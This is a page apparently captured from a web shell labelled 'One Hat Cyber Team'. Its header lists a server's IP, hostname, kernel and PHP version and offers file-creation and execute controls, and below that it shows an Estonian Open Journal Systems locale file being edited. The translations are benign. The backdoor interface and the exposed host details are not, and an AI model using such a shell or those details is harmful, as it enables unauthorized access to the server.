One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
locale
/
et
/
Edit File:
editor.po
# "10 ..." <jaana.tonisson@tlulib.ee>, 2025. msgid "" msgstr "" "PO-Revision-Date: 2025-04-06 09:42+0000\n" "Last-Translator: \"10 ...\" <jaana.tonisson@tlulib.ee>\n" "Language-Team: Estonian <http://translate.pkp.sfu.ca/projects/ojs/editor/et/>" "\n" "Language: et\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: Weblate 4.18.2\n" msgid "editor.submissionsAndPublishing" msgstr "Esitatud kaastööd ja avaldamine" msgid "editor.submissionQueue" msgstr "Kaastööde järjekord" msgid "editor.submissionArchive" msgstr "Kaastööde arhiiv" msgid "editor.publishing" msgstr "Avaldamine" msgid "editor.publishedIssues" msgstr "Avaldatud numbrid" msgid "editor.allSections" msgstr "Kõik rubriigid" msgid "editor.allEditors" msgstr "Kõik toimetajad" msgid "editor.me" msgstr "Mina" msgid "editor.submissionArchive.noSubmissions" msgstr "Kaastöid arhiivis ei ole." msgid "editor.submissionArchive.saveChanges" msgstr "" "Kas salvestada muudatused arhiveeritud kaastöödes? Kustutamiseks märgitud " "esitatud kaastööd kustutatakse süsteemist jäädavalt." msgid "editor.submissionReview.confirmDecision" msgstr "Kas olete kindel, et soovid selle otsuse salvestada?" msgid "editor.notifyUsers" msgstr "Teavita kasutajaid" msgid "editor.notifyUsers.allReaders" msgstr "Kõik lugejad ({$count} users)" msgid "editor.notifyUsers.allAuthors" msgstr "Kõik avaldatud autorid ({$count} kasutajat)" msgid "editor.notifyUsers.allIndividualSubscribers" msgstr "Kõik individuaalsed tellijad ({$count} kasutajat)" msgid "editor.notifyUsers.inProgress" msgstr "Kasutajate teavitamine..." msgid "editor.usersNotified" msgstr "Kasutajaid teavitatud" msgid "editor.notifyUsers.allUsers" msgstr "" "Saada see teade kõigile selle ajakirjaga seotud kasutajatele ({$count} " "kasutajat)" msgid "editor.notifyUsers.includeToc" msgstr "Lisa selle numbri sisukord:" msgid "editor.editorAdministration" msgstr "Toimetaja administreerimine" msgid "editor.issues.createIssue" msgstr "Loo number" msgid "editor.issues.editIssue" msgstr "Numbri haldamine: {$issueIdentification}" msgid "editor.issues.currentIssue" msgstr "Praegune number" msgid "editor.issues.numArticles" msgstr "Artiklid" msgid "editor.issues.noArticles" msgstr "Sellesse numbrisse pole praegu ajatatud ühtegi artiklit." msgid "editor.issues.confirmDelete" msgstr "Kas oled kindel, et soovid selle numbri jäädavalt kustutada?" msgid "editor.issues.published" msgstr "Avaldatud" msgid "editor.issues.unpublished" msgstr "Avaldamata" msgid "editor.issues.datePublished" msgstr "Avaldamise kuupäev" msgid "editor.issues.datePublished.invalid" msgstr "Avaldamise kuupäev on vigane. Kuupäev peab olema vormingus AAAA-KK-PP." msgid "editor.issues.volumeRequired" msgstr "Köide on kohustuslik ja peab olema positiivne numbriline väärtus." msgid "editor.issues.numberRequired" msgstr "Number on kohustuslik ja peab olema positiivne numbriline väärtus." msgid "editor.issues.titleRequired" msgstr "Numbri pealkiri on kohustuslik." msgid "editor.issues.issueIdentificationRequired" msgstr "" "Numbri identifikaator on kohustuslik. Palun valige vähemalt üks numbri " "identifitseerimise valik." msgid "editor.issues.issueIdentification" msgstr "Numbri identifikaator" msgid "editor.issues.publicIssueIdentifier" msgstr "Avalik numbri identifikaator" msgid "editor.issues.description" msgstr "Kirjeldus" msgid "editor.issues.accessStatus" msgstr "Juurdepääsu staatus" msgid "editor.issues.accessDate" msgstr "Avatud juurdepääsu kuupäev" msgid "editor.issues.enableOpenAccessDate" msgstr "Luba viivitusega avatud juurdepääs" msgid "editor.issues.coverPage" msgstr "Kaanepilt" msgid "editor.issues.uploaded" msgstr "Üles laaditud" msgid "editor.issues.remove" msgstr "Eemalda" msgid "editor.issues.proofed" msgstr "Korrektuur tehtud" msgid "editor.issues.removeCoverPage" msgstr "Kas eemaldada kaanepilt?" msgid "editor.issues.removeCoverImageFileNameMismatch" msgstr "" "Kaanepilt, mida soovisite kustutada, ei vastanud selle numbri kaanepildile. " "Palun värskendage lehte ja proovige uuesti." msgid "editor.issues.removeCoverImageFileNotFound" msgstr "" "Kaanepilti, mida soovisite kustutada, ei leitud. See võib olla juba " "kustutatud. Proovige lehte värskendada." msgid "editor.issues.styleFile" msgstr "Stiilileht" msgid "editor.issues.invalidStyleFormat" msgstr "" "Sobimatu stiililehe formaat. Veenduge, et esitatud fail on kehtiv CSS. (" "Pange tähele, et stiililehed, mille alguses on kommentaarid, võidakse tagasi " "lükata.)" msgid "editor.issues.removeStyleFile" msgstr "Kas eemaldada stiilileht?" msgid "editor.issues.coverPageCaption" msgstr "Kaane pealkiri" msgid "editor.issues.showCoverPage" msgstr "Loo sellele numbrile kaas järgmiste elementidega." msgid "editor.issues.coverPageDisplay" msgstr "Kuva" msgid "editor.issues.subscription" msgstr "Tellimus" msgid "editor.issues.identification" msgstr "Identifitseerimine" msgid "editor.issues.access" msgstr "Juurdepääs" msgid "editor.issues.cover" msgstr "Kaas" msgid "editor.issues.resetIssueOrder" msgstr "" "See ajakiri kasutab kohandatud numbrite järjestust. <a href=\"{$url}\" class=" "\"action\">Lähtesta vaikimisi sätted</a>" msgid "editor.issues.resetSectionOrder" msgstr "" "See number kasutab kohandatud rubriikide järjestust. <a href=\"{$url}\" " "class=\"action\">Lähtesta vaikimisi sätted</a>" msgid "editor.issues.issueData" msgstr "Numbri andmed" msgid "editor.issues.saveChanges" msgstr "Kas salvestada muudatused sisukorras?" msgid "editor.issues.default" msgstr "Vaikimisi" msgid "editor.issues.order" msgstr "Järjestus" msgid "editor.issues.publicId" msgstr "Avalik ID" msgid "editor.issues.publishIssue" msgstr "Avalda number" msgid "editor.issues.previewIssue" msgstr "Numbri eelvaade" msgid "editor.issues.preview" msgstr "Eelvaade" msgid "editor.issues.confirmPublish" msgstr "Kas olete kindel, et soovite avaldada uue numbri?" msgid "editor.issues.confirmSetCurrentIssue" msgstr "Kas olete kindel, et soovite määrata selle numbri praeguseks numbriks?" msgid "editor.issues.publicArticleIdExists" msgstr "Artikli avaliku ID salvestamine ebaõnnestus:" msgid "editor.issues.noLiveIssues" msgstr "Avaldatud numbreid pole" msgid "editor.issues.open" msgstr "Avatud" msgid "editor.issues.galleys" msgstr "Numbri lõppfailid" msgid "editor.issues.galley" msgstr "Numbri lõppfail" msgid "editor.issues.viewingGalley" msgstr "Numbri lõppfaili vaatamine" msgid "editor.issues.noneIssueGalleys" msgstr "Ühtegi numbri lõppfaili pole avaldatud." msgid "editor.issues.galleyLabelRequired" msgstr "Numbri lõppfaili silt on kohustuslik." msgid "editor.issues.galleyLocaleRequired" msgstr "Numbri lõppfaili keel on kohustuslik." msgid "editor.issues.galleyPublicIdentificationExists" msgstr "Numbri lõppfaili avalik identifikaator on juba olemas." msgid "editor.issues.backToIssueGalleys" msgstr "Tagasi numbri lõppfailide juurde" msgid "editor.issues.identifiers" msgstr "Identifikaatorid" msgid "editor.navigation.futureIssues" msgstr "Tulevased numbrid" msgid "grid.action.addGalley" msgstr "Lisa lõppfail" msgid "grid.action.publish" msgstr "Avalda number" msgid "grid.action.addIssue" msgstr "Loo number" msgid "grid.action.previewIssue" msgstr "Eelvaade" msgid "grid.action.addIssueGalley" msgstr "Loo numbri lõppfail" msgid "grid.action.setCurrentIssue" msgstr "Määra praegune number" msgid "editor.navigation.issueArchive" msgstr "Varasemad numbrid" msgid "editor.article.decision" msgstr "Otsus" msgid "editor.submissions.showBy" msgstr "Näita" msgid "editor.submissions.submitMMDD" msgstr "Esita MM-DD" msgid "editor.submissions.activeAssignments" msgstr "Aktiivsed ülesanded" msgid "editor.submissions.invite" msgstr "Kutsu" msgid "editor.submissions.accept" msgstr "Aktsepteeri" msgid "editor.submissions.lastAssigned" msgstr "Viimane" msgid "editor.submissions.averageTime" msgstr "Nädalad" msgid "editor.submissions.lastCompleted" msgstr "Viimati lõpetatud" msgid "editor.submissions.assignedTo" msgstr "Määratud toimetajale" msgid "issues.submissions.issueIds" msgstr "Määratud numbrile" msgid "editor.article.showPublicationVersion" msgstr "Näita ajatatud publikatsioon" msgid "editor.article.publishVersion" msgstr "Avaldamise versioon" msgid "editor.article.viewMetadata" msgstr "Vaata versiooni metaandmeid" msgid "editor.article.editMetadata" msgstr "Muuda versiooni metaandmeid" msgid "editor.article.scheduleForPublication.toBeAssigned" msgstr "Määratakse" msgid "editor.article.payment.requestPayment" msgstr "Küsi makset" msgid "grid.action.removeArticle" msgstr "Eemalda artikkel numbrist" msgid "editor.article.remove" msgstr "Eemalda" msgid "editor.article.remove.confirm" msgstr "" "Kas olete kindel, et soovite selle artikli numbrist eemaldada? Artikkel on " "saadaval ajatamiseks teises numbris." msgid "editor.issues.invalidAccessDate" msgstr "Juurdepääsu kuupäev ei ole kehtiv." msgid "editor.issues.editIssueGalley" msgstr "Muuda numbri lõppfaili" msgid "editor.submission.production.productionReadyFilesDescription" msgstr "" "Küljendaja valmistab need failid iga korrektuuriversiooni jaoks ette ja " "laadib need seejärel korrektuuri jaoks üles vastava <span class=" "\"pkp_help_title\">Lõppfailid</span> alla." msgid "editor.submission.selectGalleyFiles" msgstr "Vali korrektuuri lõppfailid" msgid "editor.submission.editorial.finalDraftDescription" msgstr "" "Lõplikud mustandfailid selles nimekirjas muudetakse toimetaja poolt " "toimetatud versioonideks ja laaditakse üles rubriiki <span class=" "\"pkp_help_title\">Toimetamine</span>." msgid "editor.submission.proof.manageProofFilesDescription" msgstr "" "Kõik failid, mis on juba üles laaditud mis tahes esitamise etapis, saab " "lisada korrektuuride loendisse, märkides alloleva märkeruudu \"Kaasa\" ja " "klõpsates \"Otsi\": kõik saadaolevad failid loetletakse ja neid saab valida " "kaasamiseks." msgid "editor.publicIdentificationExistsForTheSameType" msgstr "" "Avalik identifikaator '{$publicIdentifier}' on juba määratud teisele sama " "tüüpi objektile. Palun valige oma ajakirja piires sama tüüpi objektidele " "unikaalsed identifikaatorid." msgid "editor.article.coverImage" msgstr "Kaanepilt" msgid "editor.home" msgstr "Toimetaja avaleht" msgid "editor.publicIdentificationExists" msgstr "" "Avalik identifikaator '{$publicIdentifier}' on juba määratud teisele " "objektile (numbrile, artiklile, korrektuurversioonile või failile). Palun " "valige oma ajakirja piires unikaalsed identifikaatorid." msgid "editor.submissionReview.emailWillArchive" msgstr "" "See esitatud kaastöö arhiveeritakse pärast seda, kui on saadetud e-kiri „" "Teavita autorit\" või vajutatud nuppu „Jäta e-kiri vahele\"." msgid "editor.submissions.inSection" msgstr "Rubriigis" msgid "editor.submissionReview.cannotSendToCopyediting" msgstr "" "Enne esitatud kaastöö toimetamisse saatmist kasutage autorite teavitamiseks " "linki „Teavita autorit\" ja valige saadetav versioon." msgid "editor.article.scheduleForPublication" msgstr "Ajata avaldamiseks väljaandes" msgid "editor.article.payment.publicationFeeNotPaid" msgstr "" "Avaldamistasu pole makstud. Artikli avaldamiseks teavita autorit tasu " "maksmisest või sellest loobumisest." msgid "editor.notifyUsers.allInstitutionalSubscribers" msgstr "Kõik institutsionaalsed tellijad ({$count} kasutajat)" msgid "editor.notifyUsers.interestedUsers" msgstr "" "Saada see teade kõigile selle ajakirjaga seotud kasutajatele, kes on " "märkinud, et soovivad uuendusi saada ({$count} kasutajat)" msgid "editor.article.removeCoverImageFileNotFound" msgstr "" "Kaanepilti, mida soovisite kustutada, ei leitud. See võib olla juba " "kustutatud. Proovige lehte värskendada." msgid "editor.issues.datePublished.notPublished.description" msgstr "Kui jätate tühjaks, määratakse kuupäev numbri avaldamisel automaatselt." msgid "editor.issues.datePublished.requiredWhenPublished" msgstr "Avaldamise kuupäev on kohustuslik, kui number on avaldatud." msgid "editor.issues.yearRequired" msgstr "Aasta on kohustuslik ja peab olema positiivne numbriline väärtus." msgid "editor.issues.coverPageInstructions" msgstr "(Lubatud vormingud: .gif, .jpg või .png)" msgid "editor.issues.removeCoverImageOnDifferentContextNowAllowed" msgstr "" "Kaanepilt, mida soovite kustutada, vastab teise ajakirja numbrile. Palun " "kontrollige, et töötate õige ajakirjaga, kasutate õiget numbri ID-d ja " "proovige uuesti." msgid "editor.issues.invalidCoverImageFormat" msgstr "" "Sobimatu kaanelehe formaat. Aktsepteeritud vormingud on .gif, .jpg või .png." msgid "editor.issues.openAccess" msgstr "Avatud juurdepääs" msgid "editor.issues.confirmIssueDelete" msgstr "" "Kõik artiklid lähevad tagasi toimetamise järjekorda ja kõik seotud failid " "eemaldatakse jäädavalt. Kas olete kindel, et soovite selle numbri eemaldada?" msgid "editor.issues.unpublishIssue" msgstr "Tühista numbri avaldamine" msgid "editor.issues.confirmUnpublish" msgstr "Kas olete kindel, et soovite avaldatud numbri avaldamise tagasi võtta?" msgid "editor.issues.pages" msgstr "Leheküljed" msgid "editor.issues.issueGalleysDescription" msgstr "Avalda lõppfailid koos kogu numbri sisuga." msgid "editor.issues.confirmDeleteGalley" msgstr "Kas olete kindel, et soovite selle numbri lõppfaili kustutada?" msgid "grid.action.viewIssue" msgstr "Vaata" msgid "editor.article.designateReviewVersion" msgstr "Määra algne fail retsenseerimise versiooniks" msgid "editor.submissions.noSubmissions" msgstr "Kaastöid ei ole"
Simpan